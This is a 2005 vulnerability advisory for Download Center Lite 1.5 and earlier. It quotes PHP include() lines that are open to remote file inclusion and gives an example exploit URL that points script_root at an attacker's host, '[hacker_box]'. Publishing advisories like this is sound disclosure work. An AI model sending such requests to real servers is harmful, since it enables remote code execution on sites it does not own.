Download Center Lite (DCL) - Arbitrary File Inclusion (VXSfx)

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Name: Download Center Lite (DCL)
Version: <= 1.5 (free/commercial)
Homepage: http://www.stadtaus.com/

Author: Filip Groszynski (VXSfx)
Date: 4 March 2005
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Vulnerable code in inc/download_center_lite.inc.php:

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/*****************************************************
** Include some files
*****************************************************/
include($script_root . 'inc/functions.inc.php');
include($script_root . 'inc/template.class.inc.php');
include($script_root . 'inc/log_downloads.class.inc.php');
include($script_root . 'languages/language.' . $language . '.inc.php');
…

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

Fix and Vendor status:

Vendor has been notified.

Contact:

Author:    Filip Groszynski   <VXSfx>
Location:  Poland <Warsaw>
Email:     groszynskif <at> gmail <dot> com
HP:        http://shell.homeunix.org

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